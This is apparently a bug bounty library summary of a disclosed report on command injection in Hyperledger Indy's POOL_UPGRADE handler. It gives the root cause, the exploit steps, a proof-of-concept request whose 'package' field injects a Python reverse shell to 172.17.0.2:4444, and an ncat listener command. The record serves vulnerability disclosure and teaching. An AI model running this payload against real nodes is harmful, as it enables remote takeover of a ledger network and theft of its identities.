# POOL_UPGRADE request handler may allow an unauthenticated attacker to remotely execute code on every node in the network. 

Unauthenticated client sends POOL_UPGRADE with undocumented `package` field containing shell metacharacters, injected into `dpkg -s` command, achieving RCE on every node.

- Payout: $2,000
- Severity: critical
- Program: Linux Foundation Decentralized Trust
- Found by: shakedreiner
- Disclosed: 2022-10-20
- CVE: CVE-2022-31020
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1705717
- Library page: https://bugbountylibrary.com/r/h1%3A1705717
- Tags: area:web3 domain:web3 impact:integrity impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical tech:python technique:source-review vuln:auth-bypass vuln:command-injection

**Target:** Hyperledger Indy node POOL_UPGRADE request handler (pool_upgrade_handler.py)
**Root cause:** The undocumented `package` field is concatenated into a shell command `dpkg -s <package>` via compose_cmd/run_shell_command without sanitization, and authorization runs only after package info is fetched.
**Steps:**
1. Craft a signed POOL_UPGRADE request (type 109) with any network identity (no role required)
2. Set `package` to `a ; python3 -c '<reverse shell>'` and populate `schedule` with public node DIDs and future timestamps to pass static_validation
3. Sign the request with any valid identity's key
4. Send to target node's client port over ZeroMQ CURVE using the node's public server key
5. Observe reverse shell connection on listener (e.g. `ncat -lvvp 4444`)
**How found:** Code review of the POOL_UPGRADE handler revealed an undocumented `package` field passed unsanitized into a shell command; noticed authorization occurred after the vulnerable call, enabling unauthenticated trigger.
**Exploitation:** Any client with a valid network identity (no Trustee role) submits a signed POOL_UPGRADE request. The handler calls check_upgrade_possible -> _get_curr_info -> run_shell_command('dpkg -s ' + package) before authorization. The injected command after the semicolon executes as the node process user, giving a reverse shell on every node that processes the request.
**Escalation:** Running the exploit on enough nodes compromises consensus, allows theft of every identity in the network, and code execution across all nodes.
**Insight:** Look for undocumented request fields in consensus/config handlers that flow into shell commands, and check whether authorization happens before or after the dangerous operation—ordering bugs turn privileged actions into unauthenticated RCE.

## Proof of concept (copied exactly from the original report)

**Malicious POOL_UPGRADE request with injected package command**

```
{
    "identifier": "6ouriXMZkLeHsuXrN1X1fd",
    "operation": {
        "action": "start",
        "name": "test",
        "package": "a ; python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"
        172.17 .0 .2\\ ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\" / bin / sh\\ ")\'",
        "schedule": {
            "4yC546FFzorLPgTNTc6V43DnpFrR8uHvtunBxb2Suaa2": "2022-12-25T10:25:58.271857+00:00",
            "AtDfpKFe1RPgcr5nnYBw1Wxkgyn8Zjyh5MzFoEUTeoV3": "2022-12-25T10:26:16.271857+00:00",
            "DG5M4zFm33Shrhjj6JB7nmx9BoNJUq219UXDfvwBDPe2": "2022-12-25T10:26:25.271857+00:00",
            "JpYerf4CssDrH76z7jyQPJLnZ1vwYgvKbvcp16AB5RQ": "2022-12-25T10:26:07.271857+00:00"
        },
        "sha256": "db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55",
        "type": "109",
        "version": "1.1"
    },
    "protocolVersion": 2,
    "reqId": 1651152851,
    "signature": "4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT"
}
```

**Vulnerable _get_curr_info command composition**

```
def _get_curr_info(cls, package):
    cmd = compose_cmd(['dpkg', '-s', package])
    return cls.run_shell_command(cmd)
```

